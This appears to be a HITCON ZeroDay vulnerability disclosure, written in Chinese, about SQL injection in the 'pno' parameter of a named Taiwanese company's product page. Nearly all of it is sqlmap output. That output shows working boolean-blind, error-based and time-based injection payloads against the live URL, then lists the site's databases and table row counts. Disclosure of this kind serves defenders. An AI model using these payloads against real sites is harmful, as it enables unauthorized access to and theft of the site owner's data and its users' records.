肯上科技股份有限公司SQL - HITCON ZeroDay

肯上科技股份有限公司SQL
SQL位置：
http://www.astron.com.tw/product.php?idt=8&pid=77&pno=249
pno参数过滤不严导致SQL产生

GET parameter 'pno' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 346 HTTP(s) requests:

Parameter: pno (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: idt=8&pid=77&pno=249 AND 1978=1978

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: idt=8&pid=77&pno=249 AND (SELECT 5524 FROM(SELECT COUNT(*),CONCAT(0x717a717071,(SELECT (ELT(5524=5524,1))),0x71786a7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: idt=8&pid=77&pno=249 AND SLEEP(5)

[16:37:47] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0
[16:37:47] [INFO] fetched data logged to text files under 'C:\Users\Administrator.sqlmap\output\www.astron.com.tw

确认影响库：（4个）
available databases [4]:
[] astron
[] information_schema
[] mysql
[] performance_schema

[16:39:51] [INFO] fetched data logged to text files under 'C:\Users\Administrator.sqlmap\output\www.astron.com.tw'

查看数据量：
Database: astron
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| question | 359 |
| product | 180 |
| log | 158 |
| message | 110 |
| productitem | 35 |
| productchild | 20 |
| menu | 8 |
| productkind | 7 |
| industry | 6 |
| ctrlitem | 5 |
| mainadv | 5 |
| seo | 4 |
| news | 3 |
| newsitem | 2 |
| field_setting | 1 |
| Ghost | 1 |
| member | 1 |
| websetting | 1 |
+---------------------------------------+---------+

Database: information_schema
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| INNODB_BUFFER_PAGE | 8192 |
| COLUMNS | 993 |
| SESSION_VARIABLES | 329 |
| GLOBAL_VARIABLES | 317 |
| GLOBAL_STATUS | 312 |
| SESSION_STATUS | 312 |
| COLLATION_CHARACTER_SET_APPLICABILITY | 197 |
| COLLATIONS | 197 |
| INNODB_BUFFER_PAGE_LRU | 177 |
| PARTITIONS | 101 |
| TABLES | 101 |
| STATISTICS | 71 |
| KEY_COLUMN_USAGE | 67 |
| USER_PRIVILEGES | 56 |
| TABLE_CONSTRAINTS | 43 |
| CHARACTER_SETS | 39 |
| SCHEMA_PRIVILEGES | 32 |
| PLUGINS | 23 |
| ENGINES | 9 |
| INNODB_CMP | 5 |
| INNODB_CMP_RESET | 5 |
| INNODB_CMPMEM | 5 |
| INNODB_CMPMEM_RESET | 5 |
| SCHEMATA | 4 |
| INNODB_BUFFER_POOL_STATS | 1 |
| PROCESSLIST | 1 |
+---------------------------------------+---------+

Database: performance_schema
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| setup_consumers | 8 |
| performance_timers | 5 |
| setup_timers | 1 |
+---------------------------------------+---------+

Database: mysql
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| time_zone_transition | 122530 |
| time_zone_transition_type | 8843 |
| time_zone | 1820 |
| time_zone_name | 1820 |
| help_relation | 1116 |
| help_keyword | 533 |
| help_topic | 513 |
| help_category | 40 |
| user | 2 |
| db | 2 |
| proxies_priv | 2 |
| Ghost | 1 |
+---------------------------------------+---------+

[16:42:02] [INFO] fetched data logged to text files under 'C:\Users\Administrator.sqlmap\output\www.astron.com.tw'